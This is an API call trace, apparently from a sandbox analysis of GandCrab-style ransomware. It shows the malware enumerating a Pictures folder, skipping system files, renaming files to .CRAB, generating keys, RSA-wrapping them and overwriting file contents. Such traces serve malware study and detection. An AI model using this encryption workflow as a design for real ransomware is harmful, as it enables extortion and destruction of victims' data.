	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="CRAB-DECRYPT.txt") returned -1
	[0132.605] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.605] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB") returned 55
	[0132.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\aybe 2eg.gif")) returned 0x20
	[0132.606] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif", dwFileAttributes=0x20) returned 1
	[0132.606] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\aybe 2eg.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\aybe 2eg.gif.crab")) returned 1
	[0132.607] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.607] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB"
	[0132.607] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB.CRAB"
	[0132.607] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0132.610] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.610] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.610] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.610] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.610] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.611] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0132.613] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.614] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.614] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.614] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.614] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.615] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0132.617] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e0d0) returned 1
	[0132.617] CryptGetKeyParam (in: hKey=0x320e0d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.617] CryptEncrypt (in: hKey=0x320e0d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.618] GetLastError () returned 0x0
	[0132.618] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.618] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0132.621] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e690) returned 1
	[0132.621] CryptGetKeyParam (in: hKey=0x320e690, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.621] CryptEncrypt (in: hKey=0x320e690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.621] GetLastError () returned 0x0
	[0132.621] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.621] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\aybe 2eg.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.622] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.622] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.622] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x1058b, lpOverlapped=0x0) returned 1
	[0132.635] VirtualAlloc (lpAddress=0x0, dwSize=0x10590, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.636] VirtualAlloc (lpAddress=0x0, dwSize=0x10590, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0132.638] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.639] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffefa75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.639] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x10590, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x10590, lpOverlapped=0x0) returned 1
	[0132.639] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.640] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.643] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.643] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.643] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.644] CloseHandle (hObject=0x3ec) returned 1
	[0132.644] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.644] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.644] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.644] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.645] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.645] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.645] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.645] lstrcmpW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2=".") returned 1
	[0132.645] lstrcmpW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="..") returned 1
	[0132.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="b8hKKTT g8UxIlG1k_b.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png"
	[0132.645] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.645] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png") returned 61
	[0132.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png") returned 61
	[0132.646] lstrlenW (lpString=".png") returned 4
	[0132.646] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.646] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.646] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png") returned 61
	[0132.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png") returned 61
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="desktop.ini") returned -1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="autorun.inf") returned 1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="ntuser.dat") returned -1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="iconcache.db") returned -1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="bootsect.bak") returned -1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="boot.ini") returned -1
	[0132.646] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="ntuser.dat.log") returned -1
	[0132.647] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="thumbs.db") returned -1
	[0132.647] lstrcmpiW (lpString1="b8hKKTT g8UxIlG1k_b.png", lpString2="CRAB-DECRYPT.txt") returned -1
	[0132.647] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.647] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB") returned 66
	[0132.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\b8hkktt g8uxilg1k_b.png")) returned 0x20
	[0132.647] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png", dwFileAttributes=0x20) returned 1
	[0132.647] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\b8hkktt g8uxilg1k_b.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\b8hkktt g8uxilg1k_b.png.crab")) returned 1
	[0132.648] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.649] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB"
	[0132.649] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB.CRAB"
	[0132.649] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0132.652] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.652] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.652] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.652] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.652] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.652] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0132.655] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.656] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.656] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.656] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.656] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.657] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0132.659] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e790) returned 1
	[0132.659] CryptGetKeyParam (in: hKey=0x320e790, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.659] CryptEncrypt (in: hKey=0x320e790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.660] GetLastError () returned 0x0
	[0132.660] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.660] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.662] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e8d0) returned 1
	[0132.663] CryptGetKeyParam (in: hKey=0x320e8d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.663] CryptEncrypt (in: hKey=0x320e8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.663] GetLastError () returned 0x0
	[0132.663] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\b8hKKTT g8UxIlG1k_b.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\b8hkktt g8uxilg1k_b.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.664] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.664] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x11326, lpOverlapped=0x0) returned 1
	[0132.680] VirtualAlloc (lpAddress=0x0, dwSize=0x11330, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.703] VirtualAlloc (lpAddress=0x0, dwSize=0x11330, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0132.705] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.705] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeecda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.705] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x11330, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x11330, lpOverlapped=0x0) returned 1
	[0132.706] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.706] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.710] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.710] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.710] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.710] CloseHandle (hObject=0x3ec) returned 1
	[0132.710] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.710] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.711] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.711] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.711] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.711] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.711] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.711] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0132.712] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0132.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt"
	[0132.712] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.712] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt") returned 54
	[0132.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt") returned 54
	[0132.712] lstrlenW (lpString=".txt") returned 4
	[0132.712] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.712] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0132.712] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt") returned 54
	[0132.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\CRAB-DECRYPT.txt") returned 54
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0132.713] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0132.713] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.713] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.713] lstrcmpW (lpString1="etx8vj6MA o72p.png", lpString2=".") returned 1
	[0132.713] lstrcmpW (lpString1="etx8vj6MA o72p.png", lpString2="..") returned 1
	[0132.713] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="etx8vj6MA o72p.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png"
	[0132.713] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.713] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png") returned 56
	[0132.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png") returned 56
	[0132.714] lstrlenW (lpString=".png") returned 4
	[0132.714] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.714] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.714] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png") returned 56
	[0132.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png") returned 56
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="desktop.ini") returned 1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="autorun.inf") returned 1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="ntuser.dat") returned -1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="iconcache.db") returned -1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="bootsect.bak") returned 1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="boot.ini") returned 1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="ntuser.dat.log") returned -1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="thumbs.db") returned -1
	[0132.714] lstrcmpiW (lpString1="etx8vj6MA o72p.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.714] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.715] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB") returned 61
	[0132.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\etx8vj6ma o72p.png")) returned 0x20
